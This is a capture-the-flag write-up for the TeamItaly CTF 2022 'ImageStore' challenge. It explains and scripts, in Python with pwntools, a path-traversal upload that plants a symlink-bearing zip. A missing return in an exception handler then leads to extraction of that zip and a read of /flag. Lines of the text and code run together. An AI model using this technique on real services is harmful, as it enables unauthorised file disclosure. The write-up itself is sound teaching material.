# TeamItaly CTF 2022
## ImageStore (10 solves)
I keep too many photos of pizzas on my computer and my drive is almost full.Unfortunately I can't simply upload them to Google Photos because I don't like public cloud.So I decided to write my own CLI service to store all my images!
Can you read `/flag`?
This is a remote challenge, you can connect to the service with:
`nc imagestore.challs.teamitaly.eu 15000`
Tip: to input a line longer than 4095 characters on your terminal, run `stty -icanon; nc imagestore.challs.teamitaly.eu 15000`.
### Solution
The goal is to place a symlink to `/flag` in the uploads folder.There's a check against that in function 4, but we notice that there's a missing `return` instruction on an exception handler, so we can call `unzip` on an inexistent path, `/tmp/images.zip`, and it will try to open `/tmp/images.zip.zip`.We just need to place our payload on that location, and to do that we abuse function 1, which has a path traversal bug.We upload a zipfile with JPEG Magic Bytes at the beginning, containing the symlink.We call it `../../tmp/images.zip.zip` so it gets placed in the right place, and then we call function 4 with an invalid base64.Our payload gets extracted, and then we can download the flag with function 2.
### Exploit
```pythonimport osimport subprocessfrom pwn import *
JPEG_MAGIC_BYTES = b'\xff\xd8\xff\xdb'
HOST = os.environ.get("HOST", "imagestore.challs.teamitaly.eu")PORT = int(os.environ.get("PORT", 15000))
conn = remote(HOST, PORT)
conn.recvuntil(b'> ')conn.send(b'1\n') # upload an image
initial_path = os.getcwd()os.chdir('/tmp')
try:    os.remove('file.zip')    os.remove('flag')except:    pass
subprocess.run(['ln', '-s', '/flag', 'flag'])subprocess.run(['zip', '--symlinks', 'file.zip', 'flag'])
with open('file.zip', 'rb') as zipfile:    content = zipfile.read()
os.remove('file.zip')os.remove('flag')
os.chdir(initial_path)
payload = b64e(JPEG_MAGIC_BYTES + content).encode()
conn.recvuntil(b': ') # image nameconn.send(b'../../tmp/images.zip.zip\n')
conn.recvuntil(b': ') # image payloadconn.send(payload + b'\n')
conn.recvuntil(b'> ')conn.send(b'4\n') # upload multiple images
conn.recvuntil(b': ') # zip payloadconn.send(b'/\n') # invalid base64
conn.recvuntil(b'> ')conn.send(b'2\n') # download an image
conn.recvuntil(b'> ')conn.send(b'0\n') # flagconn.recvuntil(b'\n')
flag = b64d(conn.recvuntil(b'\n')).decode()
conn.close()
# Print the flag to stdoutprint(flag)```